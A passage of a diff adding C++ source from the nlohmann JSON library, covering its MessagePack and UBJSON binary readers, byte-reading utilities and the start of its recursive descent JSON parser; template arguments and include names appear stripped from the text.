case 0x74: + case 0x75: + case 0x76: + case 0x77: + case 0x78: + case 0x79: + case 0x7A: + case 0x7B: + case 0x7C: + case 0x7D: + case 0x7E: + case 0x7F: + return sax->number_unsigned(static_cast(current)); + + // fixmap + case 0x80: + case 0x81: + case 0x82: + case 0x83: + case 0x84: + case 0x85: + case 0x86: + case 0x87: + case 0x88: + case 0x89: + case 0x8A: + case 0x8B: + case 0x8C: + case 0x8D: + case 0x8E: + case 0x8F: + return get_msgpack_object(static_cast(static_cast(current) & 0x0Fu)); + + // fixarray + case 0x90: + case 0x91: + case 0x92: + case 0x93: + case 0x94: + case 0x95: + case 0x96: + case 0x97: + case 0x98: + case 0x99: + case 0x9A: + case 0x9B: + case 0x9C: + case 0x9D: + case 0x9E: + case 0x9F: + return get_msgpack_array(static_cast(static_cast(current) & 0x0Fu)); + + // fixstr + case 0xA0: + case 0xA1: + case 0xA2: + case 0xA3: + case 0xA4: + case 0xA5: + case 0xA6: + case 0xA7: + case 0xA8: + case 0xA9: + case 0xAA: + case 0xAB: + case 0xAC: + case 0xAD: + case 0xAE: + case 0xAF: + case 0xB0: + case 0xB1: + case 0xB2: + case 0xB3: + case 0xB4: + case 0xB5: + case 0xB6: + case 0xB7: + case 0xB8: + case 0xB9: + case 0xBA: + case 0xBB: + case 0xBC: + case 0xBD: + case 0xBE: + case 0xBF: + case 0xD9: // str 8 + case 0xDA: // str 16 + case 0xDB: // str 32 + { + string_t s; + return get_msgpack_string(s) && sax->string(s); + } + + case 0xC0: // nil + return sax->null(); + + case 0xC2: // false + return sax->boolean(false); + + case 0xC3: // true + return sax->boolean(true); + + case 0xC4: // bin 8 + case 0xC5: // bin 16 + case 0xC6: // bin 32 + case 0xC7: // ext 8 + case 0xC8: // ext 16 + case 0xC9: // ext 32 + case 0xD4: // fixext 1 + case 0xD5: // fixext 2 + case 0xD6: // fixext 4 + case 0xD7: // fixext 8 + case 0xD8: // fixext 16 + { + binary_t b; + return get_msgpack_binary(b) && sax->binary(b); + } + + case 0xCA: // float 32 + { + float number{}; + return get_number(input_format_t::msgpack, number) && sax->number_float(static_cast(number), ""); + } + + case 0xCB: // float 64 + { + double number{}; + return get_number(input_format_t::msgpack, number) && sax->number_float(static_cast(number), ""); + } + + case 0xCC: // uint 8 + { + std::uint8_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number); + } + + case 0xCD: // uint 16 + { + std::uint16_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number); + } + + case 0xCE: // uint 32 + { + std::uint32_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number); + } + + case 0xCF: // uint 64 + { + std::uint64_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_unsigned(number); + } + + case 0xD0: // int 8 + { + std::int8_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_integer(number); + } + + case 0xD1: // int 16 + { + std::int16_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_integer(number); + } + + case 0xD2: // int 32 + { + std::int32_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_integer(number); + } + + case 0xD3: // int 64 + { + std::int64_t number{}; + return get_number(input_format_t::msgpack, number) && sax->number_integer(number); + } + + case 0xDC: // array 16 + { + std::uint16_t len{}; + return get_number(input_format_t::msgpack, len) && get_msgpack_array(static_cast(len)); + } + + case 0xDD: // array 32 + { + std::uint32_t len{}; + return get_number(input_format_t::msgpack, len) && get_msgpack_array(static_cast(len)); + } + + case 0xDE: // map 16 + { + std::uint16_t len{}; + return get_number(input_format_t::msgpack, len) && get_msgpack_object(static_cast(len)); + } + + case 0xDF: // map 32 + { + std::uint32_t len{}; + return get_number(input_format_t::msgpack, len) && get_msgpack_object(static_cast(len)); + } + + // negative fixint + case 0xE0: + case 0xE1: + case 0xE2: + case 0xE3: + case 0xE4: + case 0xE5: + case 0xE6: + case 0xE7: + case 0xE8: + case 0xE9: + case 0xEA: + case 0xEB: + case 0xEC: + case 0xED: + case 0xEE: + case 0xEF: + case 0xF0: + case 0xF1: + case 0xF2: + case 0xF3: + case 0xF4: + case 0xF5: + case 0xF6: + case 0xF7: + case 0xF8: + case 0xF9: + case 0xFA: + case 0xFB: + case 0xFC: + case 0xFD: + case 0xFE: + case 0xFF: + return sax->number_integer(static_cast(current)); + + default: // anything else + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::msgpack, "invalid byte: 0x" + last_token, "value"))); + } + } + } + + /*! + @brief reads a MessagePack string + + This function first reads starting bytes to determine the expected + string length and then copies this number of bytes into a string. + + @param[out] result created string + + @return whether string creation completed + */ + bool get_msgpack_string(string_t& result) + { + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::msgpack, "string"))) + { + return false; + } + + switch (current) + { + // fixstr + case 0xA0: + case 0xA1: + case 0xA2: + case 0xA3: + case 0xA4: + case 0xA5: + case 0xA6: + case 0xA7: + case 0xA8: + case 0xA9: + case 0xAA: + case 0xAB: + case 0xAC: + case 0xAD: + case 0xAE: + case 0xAF: + case 0xB0: + case 0xB1: + case 0xB2: + case 0xB3: + case 0xB4: + case 0xB5: + case 0xB6: + case 0xB7: + case 0xB8: + case 0xB9: + case 0xBA: + case 0xBB: + case 0xBC: + case 0xBD: + case 0xBE: + case 0xBF: + { + return get_string(input_format_t::msgpack, static_cast(current) & 0x1Fu, result); + } + + case 0xD9: // str 8 + { + std::uint8_t len{}; + return get_number(input_format_t::msgpack, len) && get_string(input_format_t::msgpack, len, result); + } + + case 0xDA: // str 16 + { + std::uint16_t len{}; + return get_number(input_format_t::msgpack, len) && get_string(input_format_t::msgpack, len, result); + } + + case 0xDB: // str 32 + { + std::uint32_t len{}; + return get_number(input_format_t::msgpack, len) && get_string(input_format_t::msgpack, len, result); + } + + default: + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format_t::msgpack, "expected length specification (0xA0-0xBF, 0xD9-0xDB); last byte: 0x" + last_token, "string"))); + } + } + } + + /*! + @brief reads a MessagePack byte array + + This function first reads starting bytes to determine the expected + byte array length and then copies this number of bytes into a byte array. + + @param[out] result created byte array + + @return whether byte array creation completed + */ + bool get_msgpack_binary(binary_t& result) + { + // helper function to set the subtype + auto assign_and_return_true = [&result](std::int8_t subtype) + { + result.set_subtype(static_cast(subtype)); + return true; + }; + + switch (current) + { + case 0xC4: // bin 8 + { + std::uint8_t len{}; + return get_number(input_format_t::msgpack, len) && + get_binary(input_format_t::msgpack, len, result); + } + + case 0xC5: // bin 16 + { + std::uint16_t len{}; + return get_number(input_format_t::msgpack, len) && + get_binary(input_format_t::msgpack, len, result); + } + + case 0xC6: // bin 32 + { + std::uint32_t len{}; + return get_number(input_format_t::msgpack, len) && + get_binary(input_format_t::msgpack, len, result); + } + + case 0xC7: // ext 8 + { + std::uint8_t len{}; + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, len) && + get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, len, result) && + assign_and_return_true(subtype); + } + + case 0xC8: // ext 16 + { + std::uint16_t len{}; + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, len) && + get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, len, result) && + assign_and_return_true(subtype); + } + + case 0xC9: // ext 32 + { + std::uint32_t len{}; + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, len) && + get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, len, result) && + assign_and_return_true(subtype); + } + + case 0xD4: // fixext 1 + { + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, 1, result) && + assign_and_return_true(subtype); + } + + case 0xD5: // fixext 2 + { + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, 2, result) && + assign_and_return_true(subtype); + } + + case 0xD6: // fixext 4 + { + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, 4, result) && + assign_and_return_true(subtype); + } + + case 0xD7: // fixext 8 + { + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, 8, result) && + assign_and_return_true(subtype); + } + + case 0xD8: // fixext 16 + { + std::int8_t subtype{}; + return get_number(input_format_t::msgpack, subtype) && + get_binary(input_format_t::msgpack, 16, result) && + assign_and_return_true(subtype); + } + + default: // LCOV_EXCL_LINE + return false; // LCOV_EXCL_LINE + } + } + + /*! + @param[in] len the length of the array + @return whether array creation completed + */ + bool get_msgpack_array(const std::size_t len) + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_array(len))) + { + return false; + } + + for (std::size_t i = 0; i < len; ++i) + { + if (JSON_HEDLEY_UNLIKELY(!parse_msgpack_internal())) + { + return false; + } + } + + return sax->end_array(); + } + + /*! + @param[in] len the length of the object + @return whether object creation completed + */ + bool get_msgpack_object(const std::size_t len) + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_object(len))) + { + return false; + } + + string_t key; + for (std::size_t i = 0; i < len; ++i) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!get_msgpack_string(key) || !sax->key(key))) + { + return false; + } + + if (JSON_HEDLEY_UNLIKELY(!parse_msgpack_internal())) + { + return false; + } + key.clear(); + } + + return sax->end_object(); + } + + //////////// + // UBJSON // + //////////// + + /*! + @param[in] get_char whether a new character should be retrieved from the + input (true, default) or whether the last read + character should be considered instead + + @return whether a valid UBJSON value was passed to the SAX parser + */ + bool parse_ubjson_internal(const bool get_char = true) + { + return get_ubjson_value(get_char ? get_ignore_noop() : current); + } + + /*! + @brief reads a UBJSON string + + This function is either called after reading the 'S' byte explicitly + indicating a string, or in case of an object key where the 'S' byte can be + left out. + + @param[out] result created string + @param[in] get_char whether a new character should be retrieved from the + input (true, default) or whether the last read + character should be considered instead + + @return whether string creation completed + */ + bool get_ubjson_string(string_t& result, const bool get_char = true) + { + if (get_char) + { + get(); // TODO(niels): may we ignore N here? + } + + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::ubjson, "value"))) + { + return false; + } + + switch (current) + { + case 'U': + { + std::uint8_t len{}; + return get_number(input_format_t::ubjson, len) && get_string(input_format_t::ubjson, len, result); + } + + case 'i': + { + std::int8_t len{}; + return get_number(input_format_t::ubjson, len) && get_string(input_format_t::ubjson, len, result); + } + + case 'I': + { + std::int16_t len{}; + return get_number(input_format_t::ubjson, len) && get_string(input_format_t::ubjson, len, result); + } + + case 'l': + { + std::int32_t len{}; + return get_number(input_format_t::ubjson, len) && get_string(input_format_t::ubjson, len, result); + } + + case 'L': + { + std::int64_t len{}; + return get_number(input_format_t::ubjson, len) && get_string(input_format_t::ubjson, len, result); + } + + default: + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format_t::ubjson, "expected length type specification (U, i, I, l, L); last byte: 0x" + last_token, "string"))); + } + } + + /*! + @param[out] result determined size + @return whether size determination completed + */ + bool get_ubjson_size_value(std::size_t& result) + { + switch (get_ignore_noop()) + { + case 'U': + { + std::uint8_t number{}; + if (JSON_HEDLEY_UNLIKELY(!get_number(input_format_t::ubjson, number))) + { + return false; + } + result = static_cast(number); + return true; + } + + case 'i': + { + std::int8_t number{}; + if (JSON_HEDLEY_UNLIKELY(!get_number(input_format_t::ubjson, number))) + { + return false; + } + result = static_cast(number); + return true; + } + + case 'I': + { + std::int16_t number{}; + if (JSON_HEDLEY_UNLIKELY(!get_number(input_format_t::ubjson, number))) + { + return false; + } + result = static_cast(number); + return true; + } + + case 'l': + { + std::int32_t number{}; + if (JSON_HEDLEY_UNLIKELY(!get_number(input_format_t::ubjson, number))) + { + return false; + } + result = static_cast(number); + return true; + } + + case 'L': + { + std::int64_t number{}; + if (JSON_HEDLEY_UNLIKELY(!get_number(input_format_t::ubjson, number))) + { + return false; + } + result = static_cast(number); + return true; + } + + default: + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format_t::ubjson, "expected length type specification (U, i, I, l, L) after '#'; last byte: 0x" + last_token, "size"))); + } + } + } + + /*! + @brief determine the type and size for a container + + In the optimized UBJSON format, a type and a size can be provided to allow + for a more compact representation. + + @param[out] result pair of the size and the type + + @return whether pair creation completed + */ + bool get_ubjson_size_type(std::pair& result) + { + result.first = string_t::npos; // size + result.second = 0; // type + + get_ignore_noop(); + + if (current == '$') + { + result.second = get(); // must not ignore 'N', because 'N' maybe the type + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::ubjson, "type"))) + { + return false; + } + + get_ignore_noop(); + if (JSON_HEDLEY_UNLIKELY(current != '#')) + { + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::ubjson, "value"))) + { + return false; + } + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::ubjson, "expected '#' after type information; last byte: 0x" + last_token, "size"))); + } + + return get_ubjson_size_value(result.first); + } + + if (current == '#') + { + return get_ubjson_size_value(result.first); + } + + return true; + } + + /*! + @param prefix the previously read or set type prefix + @return whether value creation completed + */ + bool get_ubjson_value(const char_int_type prefix) + { + switch (prefix) + { + case std::char_traits::eof(): // EOF + return unexpect_eof(input_format_t::ubjson, "value"); + + case 'T': // true + return sax->boolean(true); + case 'F': // false + return sax->boolean(false); + + case 'Z': // null + return sax->null(); + + case 'U': + { + std::uint8_t number{}; + return get_number(input_format_t::ubjson, number) && sax->number_unsigned(number); + } + + case 'i': + { + std::int8_t number{}; + return get_number(input_format_t::ubjson, number) && sax->number_integer(number); + } + + case 'I': + { + std::int16_t number{}; + return get_number(input_format_t::ubjson, number) && sax->number_integer(number); + } + + case 'l': + { + std::int32_t number{}; + return get_number(input_format_t::ubjson, number) && sax->number_integer(number); + } + + case 'L': + { + std::int64_t number{}; + return get_number(input_format_t::ubjson, number) && sax->number_integer(number); + } + + case 'd': + { + float number{}; + return get_number(input_format_t::ubjson, number) && sax->number_float(static_cast(number), ""); + } + + case 'D': + { + double number{}; + return get_number(input_format_t::ubjson, number) && sax->number_float(static_cast(number), ""); + } + + case 'H': + { + return get_ubjson_high_precision_number(); + } + + case 'C': // char + { + get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::ubjson, "char"))) + { + return false; + } + if (JSON_HEDLEY_UNLIKELY(current > 127)) + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(113, chars_read, exception_message(input_format_t::ubjson, "byte after 'C' must be in range 0x00..0x7F; last byte: 0x" + last_token, "char"))); + } + string_t s(1, static_cast(current)); + return sax->string(s); + } + + case 'S': // string + { + string_t s; + return get_ubjson_string(s) && sax->string(s); + } + + case '[': // array + return get_ubjson_array(); + + case '{': // object + return get_ubjson_object(); + + default: // anything else + { + auto last_token = get_token_string(); + return sax->parse_error(chars_read, last_token, parse_error::create(112, chars_read, exception_message(input_format_t::ubjson, "invalid byte: 0x" + last_token, "value"))); + } + } + } + + /*! + @return whether array creation completed + */ + bool get_ubjson_array() + { + std::pair size_and_type; + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_type(size_and_type))) + { + return false; + } + + if (size_and_type.first != string_t::npos) + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_array(size_and_type.first))) + { + return false; + } + + if (size_and_type.second != 0) + { + if (size_and_type.second != 'N') + { + for (std::size_t i = 0; i < size_and_type.first; ++i) + { + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_value(size_and_type.second))) + { + return false; + } + } + } + } + else + { + for (std::size_t i = 0; i < size_and_type.first; ++i) + { + if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal())) + { + return false; + } + } + } + } + else + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_array(std::size_t(-1)))) + { + return false; + } + + while (current != ']') + { + if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal(false))) + { + return false; + } + get_ignore_noop(); + } + } + + return sax->end_array(); + } + + /*! + @return whether object creation completed + */ + bool get_ubjson_object() + { + std::pair size_and_type; + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_size_type(size_and_type))) + { + return false; + } + + string_t key; + if (size_and_type.first != string_t::npos) + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_object(size_and_type.first))) + { + return false; + } + + if (size_and_type.second != 0) + { + for (std::size_t i = 0; i < size_and_type.first; ++i) + { + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_string(key) || !sax->key(key))) + { + return false; + } + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_value(size_and_type.second))) + { + return false; + } + key.clear(); + } + } + else + { + for (std::size_t i = 0; i < size_and_type.first; ++i) + { + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_string(key) || !sax->key(key))) + { + return false; + } + if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal())) + { + return false; + } + key.clear(); + } + } + } + else + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_object(std::size_t(-1)))) + { + return false; + } + + while (current != '}') + { + if (JSON_HEDLEY_UNLIKELY(!get_ubjson_string(key, false) || !sax->key(key))) + { + return false; + } + if (JSON_HEDLEY_UNLIKELY(!parse_ubjson_internal())) + { + return false; + } + get_ignore_noop(); + key.clear(); + } + } + + return sax->end_object(); + } + + // Note, no reader for UBJSON binary types is implemented because they do + // not exist + + bool get_ubjson_high_precision_number() + { + // get size of following number string + std::size_t size{}; + auto res = get_ubjson_size_value(size); + if (JSON_HEDLEY_UNLIKELY(!res)) + { + return res; + } + + // get number string + std::vector number_vector; + for (std::size_t i = 0; i < size; ++i) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(input_format_t::ubjson, "number"))) + { + return false; + } + number_vector.push_back(static_cast(current)); + } + + // parse number string + auto number_ia = detail::input_adapter(std::forward(number_vector)); + auto number_lexer = detail::lexer(std::move(number_ia), false); + const auto result_number = number_lexer.scan(); + const auto number_string = number_lexer.get_token_string(); + const auto result_remainder = number_lexer.scan(); + + using token_type = typename detail::lexer_base::token_type; + + if (JSON_HEDLEY_UNLIKELY(result_remainder != token_type::end_of_input)) + { + return sax->parse_error(chars_read, number_string, parse_error::create(115, chars_read, exception_message(input_format_t::ubjson, "invalid number text: " + number_lexer.get_token_string(), "high-precision number"))); + } + + switch (result_number) + { + case token_type::value_integer: + return sax->number_integer(number_lexer.get_number_integer()); + case token_type::value_unsigned: + return sax->number_unsigned(number_lexer.get_number_unsigned()); + case token_type::value_float: + return sax->number_float(number_lexer.get_number_float(), std::move(number_string)); + default: + return sax->parse_error(chars_read, number_string, parse_error::create(115, chars_read, exception_message(input_format_t::ubjson, "invalid number text: " + number_lexer.get_token_string(), "high-precision number"))); + } + } + + /////////////////////// + // Utility functions // + /////////////////////// + + /*! + @brief get next character from the input + + This function provides the interface to the used input adapter. It does + not throw in case the input reached EOF, but returns a -'ve valued + `std::char_traits::eof()` in that case. + + @return character read from the input + */ + char_int_type get() + { + ++chars_read; + return current = ia.get_character(); + } + + /*! + @return character read from the input after ignoring all 'N' entries + */ + char_int_type get_ignore_noop() + { + do + { + get(); + } + while (current == 'N'); + + return current; + } + + /* + @brief read a number from the input + + @tparam NumberType the type of the number + @param[in] format the current format (for diagnostics) + @param[out] result number of type @a NumberType + + @return whether conversion completed + + @note This function needs to respect the system's endianess, because + bytes in CBOR, MessagePack, and UBJSON are stored in network order + (big endian) and therefore need reordering on little endian systems. + */ + template + bool get_number(const input_format_t format, NumberType& result) + { + // step 1: read input into array with system's byte order + std::array vec; + for (std::size_t i = 0; i < sizeof(NumberType); ++i) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(format, "number"))) + { + return false; + } + + // reverse byte order prior to conversion if necessary + if (is_little_endian != InputIsLittleEndian) + { + vec[sizeof(NumberType) - i - 1] = static_cast(current); + } + else + { + vec[i] = static_cast(current); // LCOV_EXCL_LINE + } + } + + // step 2: convert array into number of type T and return + std::memcpy(&result, vec.data(), sizeof(NumberType)); + return true; + } + + /*! + @brief create a string by reading characters from the input + + @tparam NumberType the type of the number + @param[in] format the current format (for diagnostics) + @param[in] len number of characters to read + @param[out] result string created by reading @a len bytes + + @return whether string creation completed + + @note We can not reserve @a len bytes for the result, because @a len + may be too large. Usually, @ref unexpect_eof() detects the end of + the input before we run out of string memory. + */ + template + bool get_string(const input_format_t format, + const NumberType len, + string_t& result) + { + bool success = true; + for (NumberType i = 0; i < len; i++) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(format, "string"))) + { + success = false; + break; + } + result.push_back(static_cast(current)); + }; + return success; + } + + /*! + @brief create a byte array by reading bytes from the input + + @tparam NumberType the type of the number + @param[in] format the current format (for diagnostics) + @param[in] len number of bytes to read + @param[out] result byte array created by reading @a len bytes + + @return whether byte array creation completed + + @note We can not reserve @a len bytes for the result, because @a len + may be too large. Usually, @ref unexpect_eof() detects the end of + the input before we run out of memory. + */ + template + bool get_binary(const input_format_t format, + const NumberType len, + binary_t& result) + { + bool success = true; + for (NumberType i = 0; i < len; i++) + { + get(); + if (JSON_HEDLEY_UNLIKELY(!unexpect_eof(format, "binary"))) + { + success = false; + break; + } + result.push_back(static_cast(current)); + } + return success; + } + + /*! + @param[in] format the current format (for diagnostics) + @param[in] context further context information (for diagnostics) + @return whether the last read character is not EOF + */ + JSON_HEDLEY_NON_NULL(3) + bool unexpect_eof(const input_format_t format, const char* context) const + { + if (JSON_HEDLEY_UNLIKELY(current == std::char_traits::eof())) + { + return sax->parse_error(chars_read, "", + parse_error::create(110, chars_read, exception_message(format, "unexpected end of input", context))); + } + return true; + } + + /*! + @return a string representation of the last read byte + */ + std::string get_token_string() const + { + std::array cr{{}}; + (std::snprintf)(cr.data(), cr.size(), "%.2hhX", static_cast(current)); + return std::string{cr.data()}; + } + + /*! + @param[in] format the current format + @param[in] detail a detailed error message + @param[in] context further context information + @return a message string to use in the parse_error exceptions + */ + std::string exception_message(const input_format_t format, + const std::string& detail, + const std::string& context) const + { + std::string error_msg = "syntax error while parsing "; + + switch (format) + { + case input_format_t::cbor: + error_msg += "CBOR"; + break; + + case input_format_t::msgpack: + error_msg += "MessagePack"; + break; + + case input_format_t::ubjson: + error_msg += "UBJSON"; + break; + + case input_format_t::bson: + error_msg += "BSON"; + break; + + default: // LCOV_EXCL_LINE + JSON_ASSERT(false); // LCOV_EXCL_LINE + } + + return error_msg + " " + context + ": " + detail; + } + + private: + /// input adapter + InputAdapterType ia; + + /// the current character + char_int_type current = std::char_traits::eof(); + + /// the number of characters read + std::size_t chars_read = 0; + + /// whether we can assume little endianess + const bool is_little_endian = little_endianess(); + + /// the SAX parser + json_sax_t* sax = nullptr; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + +// #include + + +#include // isfinite +#include // uint8_t +#include // function +#include // string +#include // move +#include // vector + +// #include + +// #include + +// #include + +// #include + +// #include + +// #include + +// #include + + +namespace nlohmann +{ +namespace detail +{ +//////////// +// parser // +//////////// + +enum class parse_event_t : uint8_t +{ + /// the parser read `{` and started to process a JSON object + object_start, + /// the parser read `}` and finished processing a JSON object + object_end, + /// the parser read `[` and started to process a JSON array + array_start, + /// the parser read `]` and finished processing a JSON array + array_end, + /// the parser read a key of a value in an object + key, + /// the parser finished reading a JSON value + value +}; + +template +using parser_callback_t = + std::function; + +/*! +@brief syntax analysis + +This class implements a recursive descent parser. +*/ +template +class parser +{ + using number_integer_t = typename BasicJsonType::number_integer_t; + using number_unsigned_t = typename BasicJsonType::number_unsigned_t; + using number_float_t = typename BasicJsonType::number_float_t; + using string_t = typename BasicJsonType::string_t; + using lexer_t = lexer; + using token_type = typename lexer_t::token_type; + + public: + /// a parser reading from an input adapter + explicit parser(InputAdapterType&& adapter, + const parser_callback_t cb = nullptr, + const bool allow_exceptions_ = true, + const bool skip_comments = false) + : callback(cb) + , m_lexer(std::move(adapter), skip_comments) + , allow_exceptions(allow_exceptions_) + { + // read first token + get_token(); + } + + /*! + @brief public parser interface + + @param[in] strict whether to expect the last token to be EOF + @param[in,out] result parsed JSON value + + @throw parse_error.101 in case of an unexpected token + @throw parse_error.102 if to_unicode fails or surrogate error + @throw parse_error.103 if to_unicode fails + */ + void parse(const bool strict, BasicJsonType& result) + { + if (callback) + { + json_sax_dom_callback_parser sdp(result, callback, allow_exceptions); + sax_parse_internal(&sdp); + result.assert_invariant(); + + // in strict mode, input must be completely read + if (strict && (get_token() != token_type::end_of_input)) + { + sdp.parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::end_of_input, "value"))); + } + + // in case of an error, return discarded value + if (sdp.is_errored()) + { + result = value_t::discarded; + return; + } + + // set top-level value to null if it was discarded by the callback + // function + if (result.is_discarded()) + { + result = nullptr; + } + } + else + { + json_sax_dom_parser sdp(result, allow_exceptions); + sax_parse_internal(&sdp); + result.assert_invariant(); + + // in strict mode, input must be completely read + if (strict && (get_token() != token_type::end_of_input)) + { + sdp.parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::end_of_input, "value"))); + } + + // in case of an error, return discarded value + if (sdp.is_errored()) + { + result = value_t::discarded; + return; + } + } + } + + /*! + @brief public accept interface + + @param[in] strict whether to expect the last token to be EOF + @return whether the input is a proper JSON text + */ + bool accept(const bool strict = true) + { + json_sax_acceptor sax_acceptor; + return sax_parse(&sax_acceptor, strict); + } + + template + JSON_HEDLEY_NON_NULL(2) + bool sax_parse(SAX* sax, const bool strict = true) + { + (void)detail::is_sax_static_asserts {}; + const bool result = sax_parse_internal(sax); + + // strict mode: next byte must be EOF + if (result && strict && (get_token() != token_type::end_of_input)) + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::end_of_input, "value"))); + } + + return result; + } + + private: + template + JSON_HEDLEY_NON_NULL(2) + bool sax_parse_internal(SAX* sax) + { + // stack to remember the hierarchy of structured values we are parsing + // true = array; false = object + std::vector states; + // value to avoid a goto (see comment where set to true) + bool skip_to_state_evaluation = false; + + while (true) + { + if (!skip_to_state_evaluation) + { + // invariant: get_token() was called before each iteration + switch (last_token) + { + case token_type::begin_object: + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_object(std::size_t(-1)))) + { + return false; + } + + // closing } -> we are done + if (get_token() == token_type::end_object) + { + if (JSON_HEDLEY_UNLIKELY(!sax->end_object())) + { + return false; + } + break; + } + + // parse key + if (JSON_HEDLEY_UNLIKELY(last_token != token_type::value_string)) + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::value_string, "object key"))); + } + if (JSON_HEDLEY_UNLIKELY(!sax->key(m_lexer.get_string()))) + { + return false; + } + + // parse separator (:) + if (JSON_HEDLEY_UNLIKELY(get_token() != token_type::name_separator)) + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::name_separator, "object separator"))); + } + + // remember we are now inside an object + states.push_back(false); + + // parse values + get_token(); + continue; + } + + case token_type::begin_array: + { + if (JSON_HEDLEY_UNLIKELY(!sax->start_array(std::size_t(-1)))) + { + return false; + } + + // closing ] -> we are done + if (get_token() == token_type::end_array) + { + if (JSON_HEDLEY_UNLIKELY(!sax->end_array())) + { + return false; + } + break; + } + + // remember we are now inside an array + states.push_back(true); + + // parse values (no need to call get_token) + continue; + } + + case token_type::value_float: + { + const auto res = m_lexer.get_number_float(); + + if (JSON_HEDLEY_UNLIKELY(!std::isfinite(res))) + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + out_of_range::create(406, "number overflow parsing '" + m_lexer.get_token_string() + "'")); + } + + if (JSON_HEDLEY_UNLIKELY(!sax->number_float(res, m_lexer.get_string()))) + { + return false; + } + + break; + } + + case token_type::literal_false: + { + if (JSON_HEDLEY_UNLIKELY(!sax->boolean(false))) + { + return false; + } + break; + } + + case token_type::literal_null: + { + if (JSON_HEDLEY_UNLIKELY(!sax->null())) + { + return false; + } + break; + } + + case token_type::literal_true: + { + if (JSON_HEDLEY_UNLIKELY(!sax->boolean(true))) + { + return false; + } + break; + } + + case token_type::value_integer: + { + if (JSON_HEDLEY_UNLIKELY(!sax->number_integer(m_lexer.get_number_integer()))) + { + return false; + } + break; + } + + case token_type::value_string: + { + if (JSON_HEDLEY_UNLIKELY(!sax->string(m_lexer.get_string()))) + { + return false; + } + break; + } + + case token_type::value_unsigned: + { + if (JSON_HEDLEY_UNLIKELY(!sax->number_unsigned(m_lexer.get_number_unsigned()))) + { + return false; + } + break; + } + + case token_type::parse_error: + { + // using "uninitialized" to avoid "expected" message + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::uninitialized, "value"))); + } + + default: // the last token was unexpected + { + return sax->parse_error(m_lexer.get_position(), + m_lexer.get_token_string(), + parse_error::create(101, m_lexer.get_position(), + exception_message(token_type::literal_or_value, "value"))); + } + } + } + else + { + skip_to_state_evaluation = false; + } + + // we reached this line after we successfully parsed a value + if (states.empty()) + { + // empty stack: we reached the end of the hierarchy: done + return true; + } + + if (states.back()) // array + { + // comma -> next value + if (get_token() == token_type::value_separator) + { + // parse a new value + get_token(); + continue; + } + + // closing ] + if (JSON_HEDLEY_LIKELY(last_token == token_type::end_array)) + { + if (JSON_HEDLEY_UNLIKELY(!sax->end_array())) + { + return false; + } + + // We are done with this array. Before we can parse 